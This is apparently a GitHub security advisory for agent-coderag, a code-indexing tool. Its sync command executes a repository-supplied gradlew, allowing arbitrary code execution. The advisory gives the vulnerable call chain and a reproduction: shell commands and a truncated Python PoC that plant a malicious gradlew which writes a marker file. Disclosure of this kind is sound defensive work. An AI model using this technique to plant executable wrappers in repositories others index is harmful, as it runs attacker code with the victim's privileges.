GitHub Advisoryadvisory · PyPI
GHSA-wg5p-8h9p-3mr7 agent-coderag: Gradle Wrapper Execution During Dependency Discovery Enables Arbitrary Code Execution
HIGH
Official page ↗
- Ecosystem
- PyPI
- Packages
- agent-coderag
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
- Weaknesses
- CWE-78
- Reviewed
- 2026-06-19
Affected packages
• PyPI agent-coderag: < 1.3.1 → fixed in 1.3.1
Description
Gradle Wrapper Execution During Dependency Discovery Enables Arbitrary Code Execution
Summary
`agent-coderag` unconditionally executes a repository-controlled `gradlew` script during its default `sync` dependency-discovery flow. An attacker who can induce a victim to index a malicious Gradle repository (one containing `build.gradle` and a crafted `gradlew`) achieves arbitrary code execution with the victim's OS privileges. No authentication, no extra flags, and no elevated permissions are required; the attack fires on the default `agent-coderag sync ` invocation.
Details
The vulnerability exists across a four-step call chain in the `sync` command:
1. Entry point — `code_rag/entry/cli.py:70`
```python
await manager.sync_dependencies(args.path or ".")
```
`sync_dependencies()` is called unconditionally before indexing. There is no opt-in flag; any `agent-coderag sync` invocation triggers dependency discovery.
2. Gradle project detection — `code_rag/core/manager.py:40-47`
The presence of a `build.gradle` or `build.gradle.kts` file in the target directory is sufficient to invoke `_sync_gradle()`. No additional checks are performed.
3. Wrapper selection — `code_rag/core/manager.py:110-113`
```python
gradle_wrapper = root / ("gradlew.bat" if os.name == "nt" else "gradlew")
gradle_bin: Optional[str] = None
if gradle_wrapper.exists():
gradle_bin = str(gradle_wrapper.resolve())
else:
gradle_bin = shutil.which("gradle")
```
When a repository-local `gradlew` exists, it is unconditionally preferred over the system-installed `gradle`. No content validation, signature check, or integrity verification is performed on this file.
4. Execution sink — `code_rag/core/manager.py:152-158`
```python
process = await asyncio.create_subprocess_exec(
gradle_bin,
"-q",
"--init-script",
str(init_script),
"printCodeRagCP",
cwd=str(root),
...
)
```
The attacker-controlled `gradlew` is executed directly via `asyncio.create_subprocess_exec()` with the repository root as the working directory. `validate_path` (`code_rag/core/utils.py:7-71`) only constrains the path location (directory boundary), not the content or nature of the executed binary.
The complete data flow: `cli.py:277` (path input) → `cli.py:313-314` (`sync_cmd`) → `cli.py:62` (`validate_path`) → `cli.py:70` (`sync_dependencies`) → `manager.py:40-47` (`_sync_gradle`) → `manager.py:110-113` (wrapper selection) → `manager.py:152-158` (execution sink).
PoC
Environment setup:
```bash
python3 -m venv /tmp/acr-venv
. /tmp/acr-venv/bin/activate
pip install agent-coderag==1.3.0
rm -rf /tmp/acr-evil /tmp/acr.db /tmp/agent-coderag-poc-marker
mkdir -p /tmp/acr-evil
```
Build the malicious repository:
```bash
Trigger _sync_gradle() detection
printf 'plugins { id "java" }\n' > /tmp/acr-evil/build.gradle
Malicious gradlew: writes proof-of-exploitation marker and exits cleanly
printf '#!/bin/sh\nprintf CODERAG_RCE_SUCCESS > /tmp/agent-coderag-poc-marker\nexit 0\n' \
> /tmp/acr-evil/gradlew
chmod +x /tmp/acr-evil/gradlew
```
Trigger the vulnerability (victim action):
```bash
agent-coderag --db /tmp/acr.db sync /tmp/acr-evil
```
Verify exploitation:
```bash
cat /tmp/agent-coderag-poc-marker
Expected output: CODERAG_RCE_SUCCESS
```
Docker-based reproduction (as confirmed in Phase 2):
```bash
Build image from repository root
docker build -t agent-coderag-vuln001 -f vuln-001/Dockerfile .
Run PoC — exits 0 on successful exploitation
docker run --rm agent-coderag-vuln001
```
Phase 2 dynamic reproduction confirmed the following output:
```
[*] Evil repo created at /tmp/acr-evil-i560afcg
build.gradle : 22 bytes
gradlew : 275 bytes (executable=True)
[*] Running: agent-coderag --db /tmp/acr-poc.db sync /tmp/acr-evil-i560afcg
[*] agent-coderag exit code : 0
[PASS] Exploit confirmed.
Marker file : /tmp/acr-poc-marker
Contents : 'CODERAG_RCE_SUCCESS'
The malicious gradlew was executed by agent-coderag during sync.
```
Impact
This is an Arbitrary Code Execution (ACE) vulnerability triggered by a local attack vector. Any user who runs `agent-coderag sync` against an attacker-controlled directory is affected. The attack requires no authentication and no special privileges beyond the ability to supply a path argument.
Typical impacted scenarios include:
• A developer cloning an untrusted repository and running `agent-coderag sync` to index it for AI-assisted code analysis.
• A CI/CD pipeline that automatically indexes pull-request branches containing a crafted `gradlew`.
• Any tooling or script that passes arbitrary paths to `agent-coderag sync` without user oversight.
Because the vulnerable component (`agent-coderag`) is a code-indexing tool intended to *read* repositories, victims have no expectation that indexing will *execute* files within the repository. This trust-boundary violation (reflected in the CVSS `S:C` — Changed Scope) means the impact extends beyond the tool itself to the victim's entire user session environment: confidentiality (credential theft, secret exfiltration), integrity (file modification, persistence installation), and availability (process termination, disk exhaustion) are all fully compromised.
Reproduction artifacts
`Dockerfile`
```dockerfile
FROM python:3.11-slim
LABEL description="VULN-001 PoC: agent-coderag gradlew RCE reproduction"
WORKDIR /app
RUN apt-get update && apt-get install -y --no-install-recommends \
&& rm -rf /var/lib/apt/lists/*
Install agent-coderag from local repo source (pinned to vulnerable commit)
COPY repo/ /app/repo/
RUN pip install --no-cache-dir /app/repo/
Copy PoC script
COPY vuln-001/poc.py /app/poc.py
CMD ["python3", "/app/poc.py"]
```
`poc.py`
```python
"""
PoC for VULN-001: agent-coderag Gradle Wrapper Execution → Arbitrary Code Execution
Vulnerability:
agent-coderag `sync` command calls sync_dependencies() unconditionally.
When the target directory contains a build.gradle file, _sync_gradle() is triggered.
_sync_gradle() prefers a repository-local ./gradlew over the system gradle binary.
The repository-controlled gradlew is executed via asyncio.create_subprocess_exec()
without any content validation, enabling arbitrary code execution.
Data flow (source → sink):
cli.py:70 → manager.sync_dependencies()
manager.py:46 → _sync_gradle()
manager.py:112-113 → gradle_bin = str(gradle_wrapper.resolve()) [untrusted file]
manager.py:152-158 → asyncio.create_subprocess_exec(gradle_bin, ...) [sink]
Expected outcome:
The malicious gradlew writes a marker to /tmp/acr-poc-marker.
If that file contains "CODERAG_RCE_SUCCESS", the exploit is confirmed.
"""
import asyncio
import os
import shutil
import stat
import subprocess
import sys
import tempfile
from pathlib import Path
MARKER_PATH = "/tmp/acr-poc-marker"
DB_PATH = "/tmp/acr-poc.db"
MALICIOUS_GRADLEW = """\
!/bin/sh
Malicious gradlew: writes a proof-of-exploitation marker and simulates
enough Gradle output for agent-coderag to continue without error.
printf 'CODERAG_RCE_SUCCESS' > /tmp/acr-poc-marker
Output a fake empty classpath so the tool does not log an error
exit 0
"""
BUILD_GRADLE = "plugins { id 'java' }\n"
def setup_evil_repo(directory: str) -> None:
"""Create a minimal attacker-controlled Gradle repository."""
repo_path = Path(directory)
repo_path.mkdir(parents=True, exist_ok=True)
# build.gradle triggers _sync_gradle() in manager.py:46
(repo_path / "build.gradle").write_text(BUILD_GRADLE)
# gradlew will be executed by manager.py:152 instead of system gradle
gradlew = repo_path / "gradlew"
gradlew.write_text(MALICIOUS_GRADLEW)
gradlew.chmod(gradlew.stat().st_mode | stat.S_IEXEC | stat.S_IXGRP | stat.S_IXOTH)
print(f"[*] Evil repo created at {directory}")
print(f" build.gradle : {(repo_path / 'build.gradle').stat().st_size} bytes")
print(f" gradlew : {gradlew.s…
Related
Weakness · CWE (1)
- CWE-78 Improper Neutralization of Special Elements used in an OS Command weakness